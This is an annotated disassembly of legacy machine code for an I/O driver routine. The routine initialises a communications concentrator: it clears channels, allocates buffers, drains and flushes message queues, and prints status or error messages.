0x00A7 (0x00014E) 0x2908- f:00024 d: 264 | OR[264] = A
0x00A8 (0x000150) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00A9 (0x000152) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00AA (0x000154) 0x2902- f:00024 d: 258 | OR[258] = A @ OR[258] contains the CI channel number
0x00AB (0x000156) 0x2102- f:00020 d: 258 | A = OR[258]
0x00AC (0x000158) 0x5800- f:00054 d: 0 | B = A
0x00AD (0x00015A) 0xE000- f:00160 d: 0 | IOB , fn000 @ Clear channel
0x00AE (0x00015C) 0xE600- f:00163 d: 0 | IOB , fn003 @ Clear channel parity error flags
0x00AF (0x00015E) 0xEC00- f:00166 d: 0 | IOB , fn006 @ Clear channel interrupt enable
0x00B0 (0x000160) 0x2102- f:00020 d: 258 | A = OR[258]
0x00B1 (0x000162) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) @ Advance to the CO channel
0x00B2 (0x000164) 0x5800- f:00054 d: 0 | B = A
0x00B3 (0x000166) 0xE000- f:00160 d: 0 | IOB , fn000 @ Clear channel
0x00B4 (0x000168) 0xE600- f:00163 d: 0 | IOB , fn003 @ Clear channel error flags
0x00B5 (0x00016A) 0x1800-0x4000 f:00014 d: 0 | A = 16384 (0x4000) @ This would be the I/O reset normally, but what is it here???
0x00B7 (0x00016E) 0xE800- f:00164 d: 0 | IOB , fn004
@ Call YIELD
0x00B8 (0x000170) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x00B9 (0x000172) 0x2929- f:00024 d: 297 | OR[297] = A
0x00BA (0x000174) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00BB (0x000176) 0x292A- f:00024 d: 298 | OR[298] = A
0x00BC (0x000178) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x00BD (0x00017A) 0x5800- f:00054 d: 0 | B = A
0x00BE (0x00017C) 0x1800-0x2318 f:00014 d: 0 | A = 8984 (0x2318)
0x00C0 (0x000180) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00C1 (0x000182) 0x2102- f:00020 d: 258 | A = OR[258] @ Load CO channel number
0x00C2 (0x000184) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00C3 (0x000186) 0x5800- f:00054 d: 0 | B = A
0x00C4 (0x000188) 0xE600- f:00163 d: 0 | IOB , fn003 @ Clear channel error flags
0x00C5 (0x00018A) 0x1800-0x0200 f:00014 d: 0 | A = 512 (0x0200) @ Set hold-disconnect and get concentrator out of reset
0x00C7 (0x00018E) 0xE800- f:00164 d: 0 | IOB , fn004
0x00C8 (0x000190) 0xE000- f:00160 d: 0 | IOB , fn000 @ Clear channel
0x00C9 (0x000192) 0xEC00- f:00166 d: 0 | IOB , fn006 @ Clear channel interrupt enable
@ Allocate 68 words of buffer, return in OR[256]
0x00CA (0x000194) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x00CB (0x000196) 0x2929- f:00024 d: 297 | OR[297] = A
0x00CC (0x000198) 0x1044- f:00010 d: 68 | A = 68 (0x0044)
0x00CD (0x00019A) 0x292A- f:00024 d: 298 | OR[298] = A
0x00CE (0x00019C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00CF (0x00019E) 0x292B- f:00024 d: 299 | OR[299] = A
0x00D0 (0x0001A0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D1 (0x0001A2) 0x292C- f:00024 d: 300 | OR[300] = A
0x00D2 (0x0001A4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D3 (0x0001A6) 0x292D- f:00024 d: 301 | OR[301] = A
0x00D4 (0x0001A8) 0x1100- f:00010 d: 256 | A = 256 (0x0100)
0x00D5 (0x0001AA) 0x292E- f:00024 d: 302 | OR[302] = A
0x00D6 (0x0001AC) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x00D7 (0x0001AE) 0x5800- f:00054 d: 0 | B = A
0x00D8 (0x0001B0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D9 (0x0001B2) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00DA (0x0001B4) 0x86C5- f:00103 d: 197 | P = P + 197 (0x019F), A # 0
@ Zero out buffer
0x00DB (0x0001B6) 0x2100- f:00020 d: 256 | A = OR[256]
0x00DC (0x0001B8) 0x290E- f:00024 d: 270 | OR[270] = A
0x00DD (0x0001BA) 0x1044- f:00010 d: 68 | A = 68 (0x0044)
0x00DE (0x0001BC) 0x290D- f:00024 d: 269 | OR[269] = A
0x00DF (0x0001BE) 0x210D- f:00020 d: 269 | A = OR[269]
0x00E0 (0x0001C0) 0x8406- f:00102 d: 6 | P = P + 6 (0x00E6), A = 0
0x00E1 (0x0001C2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00E2 (0x0001C4) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x00E3 (0x0001C6) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x00E4 (0x0001C8) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x00E5 (0x0001CA) 0x7206- f:00071 d: 6 | P = P - 6 (0x00DF)
0x00E6 (0x0001CC) 0x2101- f:00020 d: 257 | A = OR[257] @ Put buffer address into Concentrator desc. offset 2
0x00E7 (0x0001CE) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00E8 (0x0001D0) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E9 (0x0001D2) 0x2100- f:00020 d: 256 | A = OR[256]
0x00EA (0x0001D4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00EB (0x0001D6) 0x2100- f:00020 d: 256 | A = OR[256] @ Set lower byte of buffer entry 62 to 1
0x00EC (0x0001D8) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x00ED (0x0001DA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00EE (0x0001DC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00EF (0x0001DE) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x00F1 (0x0001E2) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00F2 (0x0001E4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00F3 (0x0001E6) 0x2100- f:00020 d: 256 | A = OR[256] @ OR[287] points to buffer entry 63
0x00F4 (0x0001E8) 0x143F- f:00012 d: 63 | A = A + 63 (0x003F)
0x00F5 (0x0001EA) 0x291F- f:00024 d: 287 | OR[287] = A
0x00F6 (0x0001EC) 0x2100- f:00020 d: 256 | A = OR[256] @ OR[286] points to buffer entry 0
0x00F7 (0x0001EE) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x00F8 (0x0001F0) 0x291E- f:00024 d: 286 | OR[286] = A
0x00F9 (0x0001F2) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00FA (0x0001F4) 0x2922- f:00024 d: 290 | OR[290] = A
@ We have a loop here seems to be waiting for the 'ready waiting' flag to clear: keep popping messages from the conecntrator until it's empty...
0x00FB (0x0001F6) 0x2122- f:00020 d: 290 | A = OR[290] @ Exit loop if OR[290] == 0, that is ready waiting is cleared
0x00FC (0x0001F8) 0x8426- f:00102 d: 38 | P = P + 38 (0x0122), A = 0
0x00FD (0x0001FA) 0x2102- f:00020 d: 258 | A = OR[258]
0x00FE (0x0001FC) 0x5800- f:00054 d: 0 | B = A
0x00FF (0x0001FE) 0xF200- f:00171 d: 0 | IOB , fn011 @ Read CI channel status (ready waiting, parity errors)
0x0100 (0x000200) 0x080F- f:00004 d: 15 | A = A > 15 (0x000F) @ Get ready-waiting into OR[290]
0x0101 (0x000202) 0x2922- f:00024 d: 290 | OR[290] = A
0x0102 (0x000204) 0x8602- f:00103 d: 2 | P = P + 2 (0x0104), A # 0 @ If ready-waiting, receive message and continue looping
0x0103 (0x000206) 0x701E- f:00070 d: 30 | P = P + 30 (0x0121)
0x0104 (0x000208) 0xE000- f:00160 d: 0 | IOB , fn000 @ Clear channel
0x0105 (0x00020A) 0xEE00- f:00167 d: 0 | IOB , fn007 @ Enable interrupts
0x0106 (0x00020C) 0x1018- f:00010 d: 24 | A = 24 (0x0018) @ Message length: 24 QWORDS, or 0x60 WORDs
0x0107 (0x00020E) 0xE400- f:00162 d: 0 | IOB , fn002
0x0108 (0x000210) 0x211E- f:00020 d: 286 | A = OR[286]
0x0109 (0x000212) 0xE200- f:00161 d: 0 | IOB , fn001 @ We receive the message into our buffer, start transfer
0x010A (0x000214) 0x0400- f:00002 d: 0 | I = 0
0x010B (0x000216) 0x0000- f:00000 d: 0 | PASS
0x010C (0x000218) 0x7E03-0x0230 f:00077 d: 3 | R = OR[3]+560 (0x0230) @ calls offset 0x022A. Wait for interrupt.
0x010E (0x00021C) 0x0600- f:00003 d: 0 | I = 1
0x010F (0x00021E) 0x8606- f:00103 d: 6 | P = P + 6 (0x0115), A # 0 @ Print error and bail if we timed out
0x0110 (0x000220) 0x2123- f:00020 d: 291 | A = OR[291]
0x0111 (0x000222) 0x1E00-0xFFF8 f:00017 d: 0 | A = A - 65528 (0xFFF8)
0x0113 (0x000226) 0x8602- f:00103 d: 2 | P = P + 2 (0x0115), A # 0 @ Print error and bail if we're tired of trying ????
0x0114 (0x000228) 0x700D- f:00070 d: 13 | P = P + 13 (0x0121) @ Continue looping
0x0115 (0x00022A) 0x2102- f:00020 d: 258 | A = OR[258]
0x0116 (0x00022C) 0x5800- f:00054 d: 0 | B = A
0x0117 (0x00022E) 0xE800- f:00164 d: 0 | IOB , fn004 @ Clear ready-waiting
0x0118 (0x000230) 0xE000- f:00160 d: 0 | IOB , fn000 @ Clear channel
0x0119 (0x000232) 0xE600- f:00163 d: 0 | IOB , fn003 @ Clear error flags
0x011A (0x000234) 0xEC00- f:00166 d: 0 | IOB , fn006 @ Clear interrupt enable flag
0x011B (0x000236) 0x1800-0x02CF f:00014 d: 0 | A = 719 (0x02CF) @ Print error message: 'Concentrator ordinal' 'channel initialization error. Command aborted.'
0x011D (0x00023A) 0x2919- f:00024 d: 281 | OR[281] = A
0x011E (0x00023C) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x011F (0x00023E) 0x291A- f:00024 d: 282 | OR[282] = A
0x0120 (0x000240) 0x707D- f:00070 d: 125 | P = P + 125 (0x019D)
0x0121 (0x000242) 0x7226- f:00071 d: 38 | P = P - 38 (0x00FB)
@ Out of the loop: we have ready-waiting cleared: the concentrator's input queue must be empty
0x0122 (0x000244) 0x2102- f:00020 d: 258 | A = OR[258]
0x0123 (0x000246) 0x5800- f:00054 d: 0 | B = A
0x0124 (0x000248) 0xE000- f:00160 d: 0 | IOB , fn000 @ CI Clear channel
0x0125 (0x00024A) 0xE600- f:00163 d: 0 | IOB , fn003 @ CI Clear error flags
0x0126 (0x00024C) 0xEC00- f:00166 d: 0 | IOB , fn006 @ CI Clear interrupt enable flag
0x0127 (0x00024E) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Get desc. entry 0, bit 11 into OR[290]
0x0128 (0x000250) 0x080B- f:00004 d: 11 | A = A > 11 (0x000B)
0x0129 (0x000252) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x012A (0x000254) 0x2922- f:00024 d: 290 | OR[290] = A
0x012B (0x000256) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Get desc. entry 0, bit 10 into OR[291]
0x012C (0x000258) 0x080A- f:00004 d: 10 | A = A > 10 (0x000A)
0x012D (0x00025A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x012E (0x00025C) 0x2923- f:00024 d: 291 | OR[291] = A
0x012F (0x00025E) 0x2122- f:00020 d: 290 | A = OR[290]
0x0130 (0x000260) 0x2523- f:00022 d: 291 | A = A + OR[291]
0x0131 (0x000262) 0x2908- f:00024 d: 264 | OR[264] = A @ The sum of bit 10 and bit 11 into OR[264]
0x0132 (0x000264) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0133 (0x000266) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0134 (0x000268) 0x8602- f:00103 d: 2 | P = P + 2 (0x0136), A # 0 @ Jump if either bit 10 or 11 is set
0x0135 (0x00026A) 0x7037- f:00070 d: 55 | P = P + 55 (0x016C) @ Neither bit 10 or 11 is set: no need to flush output queue
0x0136 (0x00026C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0137 (0x00026E) 0x2924- f:00024 d: 292 | OR[292] = A
0x0138 (0x000270) 0x2123- f:00020 d: 291 | A = OR[291]
0x0139 (0x000272) 0x8403- f:00102 d: 3 | P = P + 3 (0x013C), A = 0
0x013A (0x000274) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x013B (0x000276) 0x2924- f:00024 d: 292 | OR[292] = A
0x013C (0x000278) 0x211E- f:00020 d: 286 | A = OR[286]
0x013D (0x00027A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x013E (0x00027C) 0x2908- f:00024 d: 264 | OR[264] = A
0x013F (0x00027E) 0x2124- f:00020 d: 292 | A = OR[292]
0x0140 (0x000280) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0141 (0x000282) 0x2100- f:00020 d: 256 | A = OR[256]
0x0142 (0x000284) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x0143 (0x000286) 0x2908- f:00024 d: 264 | OR[264] = A
0x0144 (0x000288) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0145 (0x00028A) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x0146 (0x00028C) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0147 (0x00028E) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x0148 (0x000290) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x0149 (0x000292) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x014A (0x000294) 0x2102- f:00020 d: 258 | A = OR[258]
0x014B (0x000296) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x014C (0x000298) 0x5800- f:00054 d: 0 | B = A
0x014D (0x00029A) 0xE000- f:00160 d: 0 | IOB , fn000 @ CO Clear channel
0x014E (0x00029C) 0xEE00- f:00167 d: 0 | IOB , fn007 @ CO Set interrupt enable
0x014F (0x00029E) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0150 (0x0002A0) 0xE400- f:00162 d: 0 | IOB , fn002 @ Set parcel count: 4
0x0151 (0x0002A2) 0x211E- f:00020 d: 286 | A = OR[286] @ This is our local buffer
0x0152 (0x0002A4) 0xE200- f:00161 d: 0 | IOB , fn001 @ CO Set I/O memory address, start transfer
0x0153 (0x0002A6) 0x0400- f:00002 d: 0 | I = 0
0x0154 (0x0002A8) 0x0000- f:00000 d: 0 | PASS
0x0155 (0x0002AA) 0x7E03-0x0230 f:00077 d: 3 | R = OR[3]+560 (0x0230) @ Calls offset 0x022A - wait for interrupt
0x0157 (0x0002AE) 0x0600- f:00003 d: 0 | I = 1
0x0158 (0x0002B0) 0x2913- f:00024 d: 275 | OR[275] = A
0x0159 (0x0002B2) 0x2102- f:00020 d: 258 | A = OR[258]
0x015A (0x0002B4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x015B (0x0002B6) 0x5800- f:00054 d: 0 | B = A
0x015C (0x0002B8) 0xE000- f:00160 d: 0 | IOB , fn000 @ CO Clear channel
0x015D (0x0002BA) 0xE600- f:00163 d: 0 | IOB , fn003 @ CO Clear error flag
0x015E (0x0002BC) 0xEC00- f:00166 d: 0 | IOB , fn006 @ CO Clear interrupt enable
0x015F (0x0002BE) 0x2113- f:00020 d: 275 | A = OR[275]
0x0160 (0x0002C0) 0x8606- f:00103 d: 6 | P = P + 6 (0x0166), A # 0 @ If we've timed out, print error message and return
0x0161 (0x0002C2) 0x2123- f:00020 d: 291 | A = OR[291]
0x0162 (0x0002C4) 0x1E00-0xFFF9 f:00017 d: 0 | A = A - 65529 (0xFFF9) @ Same if we've timed out
0x0164 (0x0002C8) 0x8602- f:00103 d: 2 | P = P + 2 (0x0166), A # 0
0x0165 (0x0002CA) 0x7007- f:00070 d: 7 | P = P + 7 (0x016C) @ Done flushing the output queue I guess
0x0166 (0x0002CC) 0x1800-0x02E7 f:00014 d: 0 | A = 743 (0x02E7)
0x0168 (0x0002D0) 0x2919- f:00024 d: 281 | OR[281] = A
0x0169 (0x0002D2) 0x1016- f:00010 d: 22 | A = 22 (0x0016)
0x016A (0x0002D4) 0x291A- f:00024 d: 282 | OR[282] = A
0x016B (0x0002D6) 0x7032- f:00070 d: 50 | P = P + 50 (0x019D)
@ Done flushing the output queue I guess
0x016C (0x0002D8) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Set bit 15 in descriptor offset 0: concentrator active
0x016D (0x0002DA) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x016E (0x0002DC) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x016F (0x0002DE) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x0170 (0x0002E0) 0x3901- f:00034 d: 257 | (OR[257]) = A
0x0171 (0x0002E2) 0x3101- f:00030 d: 257 | A = (OR[257])
0x0172 (0x0002E4) 0x1A00-0xBFFF f:00015 d: 0 | A = A & 49151 (0xBFFF) @ Clear bit 14 in descriptor offset 0: initialization in progress
0x0174 (0x0002E8) 0x3901- f:00034 d: 257 | (OR[257]) = A
@ Call overlay function 45
0x0175 (0x0002EA) 0x102D- f:00010 d: 45 | A = 45 (0x002D)
0x0176 (0x0002EC) 0x2929- f:00024 d: 297 | OR[297] = A
0x0177 (0x0002EE) 0x1800-0x00F9 f:00014 d: 0 | A = 249 (0x00F9)
0x0179 (0x0002F2) 0x292A- f:00024 d: 298 | OR[298] = A
0x017A (0x0002F4) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x017B (0x0002F6) 0x292B- f:00024 d: 299 | OR[299] = A
0x017C (0x0002F8) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF)
0x017E (0x0002FC) 0x292C- f:00024 d: 300 | OR[300] = A
0x017F (0x0002FE) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x0180 (0x000300) 0x5800- f:00054 d: 0 | B = A
0x0181 (0x000302) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0182 (0x000304) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0183 (0x000306) 0x8602- f:00103 d: 2 | P = P + 2 (0x0185), A # 0
0x0184 (0x000308) 0x700D- f:00070 d: 13 | P = P + 13 (0x0191) @ Success from function 45: print message and return (I guess)
0x0185 (0x00030A) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Failure from function 45: clear bit 15 in descriptor offset 0: concentrator is not active now
0x0186 (0x00030C) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x0187 (0x00030E) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0188 (0x000310) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x0189 (0x000312) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x018A (0x000314) 0x3901- f:00034 d: 257 | (OR[257]) = A
0x018B (0x000316) 0x1800-0x02FE f:00014 d: 0 | A = 766 (0x02FE) @ Print error message: 'Concentrator ordinal' 'Creation of conc. activity failed. Command aborted.'
0x018D (0x00031A) 0x2919- f:00024 d: 281 | OR[281] = A
0x018E (0x00031C) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x018F (0x00031E) 0x291A- f:00024 d: 282 | OR[282] = A
0x0190 (0x000320) 0x700D- f:00070 d: 13 | P = P + 13 (0x019D)
0x0191 (0x000322) 0x1800-0x0318 f:00014 d: 0 | A = 792 (0x0318) @ Print message: 'Concentrator ordinal' 'initialized'
0x0193 (0x000326) 0x2919- f:00024 d: 281 | OR[281] = A
0x0194 (0x000328) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x0195 (0x00032A) 0x291A- f:00024 d: 282 | OR[282] = A
0x0196 (0x00032C) 0x7422- f:00072 d: 34 | R = P + 34 (0x01B8)
@ Call overlay function 3
0x0197 (0x00032E) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0198 (0x000330) 0x2929- f:00024 d: 297 | OR[297] = A
0x0199 (0x000332) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x019A (0x000334) 0x5800- f:00054 d: 0 | B = A
0x019B (0x000336) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x019C (0x000338) 0x7C09- f:00076 d: 9 | R = OR[9]
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Error handler?
@@ Input:
@@ OR[281]: Offset into this overlay (message string??)
@@ OR[282]: Length of the message
@@
@@ Local:
@@ OR[285]: message buffer
0x019D (0x00033A) 0x2121- f:00020 d: 289 | A = OR[289]
0x019E (0x00033C) 0x961A- f:00113 d: 26 | R = P + 26 (0x01B8), A # 0
0x019F (0x00033E) 0x3101- f:00030 d: 257 | A = (OR[257])
0x01A0 (0x000340) 0x1A00-0xBFFF f:00015 d: 0 | A = A & 49151 (0xBFFF)
0x01A2 (0x000344) 0x3901- f:00034 d: 257 | (OR[257]) = A
0x01A3 (0x000346) 0x2100- f:00020 d: 256 | A = OR[256]
0x01A4 (0x000348) 0x8602- f:00103 d: 2 | P = P + 2 (0x01A6), A # 0
0x01A5 (0x00034A) 0x700E- f:00070 d: 14 | P = P + 14 (0x01B3)
@ Call overlay function 25 - release memory in OR[256]
0x01A6 (0x00034C) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x01A7 (0x00034E) 0x2929- f:00024 d: 297 | OR[297] = A
0x01A8 (0x000350) 0x2100- f:00020 d: 256 | A = OR[256]
0x01A9 (0x000352) 0x292A- f:00024 d: 298 | OR[298] = A
0x01AA (0x000354) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x01AB (0x000356) 0x5800- f:00054 d: 0 | B = A
0x01AC (0x000358) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01AD (0x00035A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01AE (0x00035C) 0x2101- f:00020 d: 257 | A = OR[257]
0x01AF (0x00035E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01B0 (0x000360) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B1 (0x000362) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01B2 (0x000364) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01B3 (0x000366) 0x2121- f:00020 d: 289 | A = OR[289]
0x01B4 (0x000368) 0x8E1D- f:00107 d: 29 | P = P - 29 (0x0197), A # 0
0x01B5 (0x00036A) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x01B6 (0x00036C) 0x2921- f:00024 d: 289 | OR[289] = A
0x01B7 (0x00036E) 0x73A8- f:00071 d: 424 | P = P - 424 (0x000F)
@ Allocate 42 words of memory, store it in OR[283]
0x01B8 (0x000370) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x01B9 (0x000372) 0x2929- f:00024 d: 297 | OR[297] = A
0x01BA (0x000374) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x01BB (0x000376) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01BC (0x000378) 0x292A- f:00024 d: 298 | OR[298] = A
0x01BD (0x00037A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01BE (0x00037C) 0x292B- f:00024 d: 299 | OR[299] = A
0x01BF (0x00037E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01C0 (0x000380) 0x292C- f:00024 d: 300 | OR[300] = A
0x01C1 (0x000382) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01C2 (0x000384) 0x292D- f:00024 d: 301 | OR[301] = A
0x01C3 (0x000386) 0x111B- f:00010 d: 283 | A = 283 (0x011B)
0x01C4 (0x000388) 0x292E- f:00024 d: 302 | OR[302] = A
0x01C5 (0x00038A) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x01C6 (0x00038C) 0x5800- f:00054 d: 0 | B = A
0x01C7 (0x00038E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01C8 (0x000390) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01C9 (0x000392) 0x8E2A- f:00107 d: 42 | P = P - 42 (0x019F), A # 0
0x01CA (0x000394) 0x211B- f:00020 d: 283 | A = OR[283]
0x01CB (0x000396) 0x1428- f:00012 d: 40 | A = A + 40 (0x0028)
0x01CC (0x000398) 0x2920- f:00024 d: 288 | OR[288] = A
0x01CD (0x00039A) 0x211B- f:00020 d: 283 | A = OR[283]
0x01CE (0x00039C) 0x290E- f:00024 d: 270 | OR[270] = A
0x01CF (0x00039E) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x01D0 (0x0003A0) 0x290D- f:00024 d: 269 | OR[269] = A
0x01D1 (0x0003A2) 0x210D- f:00020 d: 269 | A = OR[269]
0x01D2 (0x0003A4) 0x8407- f:00102 d: 7 | P = P + 7 (0x01D9), A = 0
0x01D3 (0x0003A6) 0x1800-0x2020 f:00014 d: 0 | A = 8224 (0x2020)
0x01D5 (0x0003AA) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01D6 (0x0003AC) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x01D7 (0x0003AE) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x01D8 (0x0003B0) 0x7207- f:00071 d: 7 | P = P - 7 (0x01D1)
0x01D9 (0x0003B2) 0x1800-0x024E f:00014 d: 0 | A = 590 (0x024E)
0x01DB (0x0003B6) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x01DC (0x0003B8) 0x291C- f:00024 d: 284 | OR[284] = A
0x01DD (0x0003BA) 0x211B- f:00020 d: 283 | A = OR[283]
0x01DE (0x0003BC) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x01DF (0x0003BE) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01E0 (0x0003C0) 0x291D- f:00024 d: 285 | OR[285] = A
0x01E1 (0x0003C2) 0x211C- f:00020 d: 284 | A = OR[284]
0x01E2 (0x0003C4) 0x290D- f:00024 d: 269 | OR[269] = A
0x01E3 (0x0003C6) 0x211B- f:00020 d: 283 | A = OR[283]
0x01E4 (0x0003C8) 0x290E- f:00024 d: 270 | OR[270] = A
0x01E5 (0x0003CA) 0x100A- f:00010 d: 10 | A = 10 (0x000A)
0x01E6 (0x0003CC) 0x290F- f:00024 d: 271 | OR[271] = A
0x01E7 (0x0003CE) 0x7006- f:00070 d: 6 | P = P + 6 (0x01ED)
0x01E8 (0x0003D0) 0x310D- f:00030 d: 269 | A = (OR[269])
0x01E9 (0x0003D2) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01EA (0x0003D4) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x01EB (0x0003D6) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x01EC (0x0003D8) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x01ED (0x0003DA) 0x210F- f:00020 d: 271 | A = OR[271]
0x01EE (0x0003DC) 0x8E06- f:00107 d: 6 | P = P - 6 (0x01E8), C = 0
0x01EF (0x0003DE) 0x2103- f:00020 d: 259 | A = OR[259]
0x01F0 (0x0003E0) 0x3920- f:00034 d: 288 | (OR[288]) = A
@ Call overlay BTD - Binary to decimal ASCII conversion
0x01F1 (0x0003E2) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x01F2 (0x0003E4) 0x2929- f:00024 d: 297 | OR[297] = A
0x01F3 (0x0003E6) 0x1800-0x000F f:00014 d: 0 | A = 15 (0x000F)
0x01F5 (0x0003EA) 0x292A- f:00024 d: 298 | OR[298] = A
0x01F6 (0x0003EC) 0x2120- f:00020 d: 288 | A = OR[288]
0x01F7 (0x0003EE) 0x292B- f:00024 d: 299 | OR[299] = A
0x01F8 (0x0003F0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01F9 (0x0003F2) 0x292C- f:00024 d: 300 | OR[300] = A
0x01FA (0x0003F4) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x01FB (0x0003F6) 0x292D- f:00024 d: 301 | OR[301] = A
0x01FC (0x0003F8) 0x211B- f:00020 d: 283 | A = OR[283]
0x01FD (0x0003FA) 0x292E- f:00024 d: 302 | OR[302] = A
0x01FE (0x0003FC) 0x1015- f:00010 d: 21 | A = 21 (0x0015)
0x01FF (0x0003FE) 0x292F- f:00024 d: 303 | OR[303] = A
0x0200 (0x000400) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0201 (0x000402) 0x2930- f:00024 d: 304 | OR[304] = A
0x0202 (0x000404) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x0203 (0x000406) 0x5800- f:00054 d: 0 | B = A
0x0204 (0x000408) 0x1800-0x2318 f:00014 d: 0 | A = 8984 (0x2318)
0x0206 (0x00040C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0207 (0x00040E) 0x2119- f:00020 d: 281 | A = OR[281]
0x0208 (0x000410) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0209 (0x000412) 0x2919- f:00024 d: 281 | OR[281] = A
0x020A (0x000414) 0x2119- f:00020 d: 281 | A = OR[281]
0x020B (0x000416) 0x290D- f:00024 d: 269 | OR[269] = A
0x020C (0x000418) 0x211D- f:00020 d: 285 | A = OR[285]
0x020D (0x00041A) 0x290E- f:00024 d: 270 | OR[270] = A
0x020E (0x00041C) 0x211A- f:00020 d: 282 | A = OR[282]
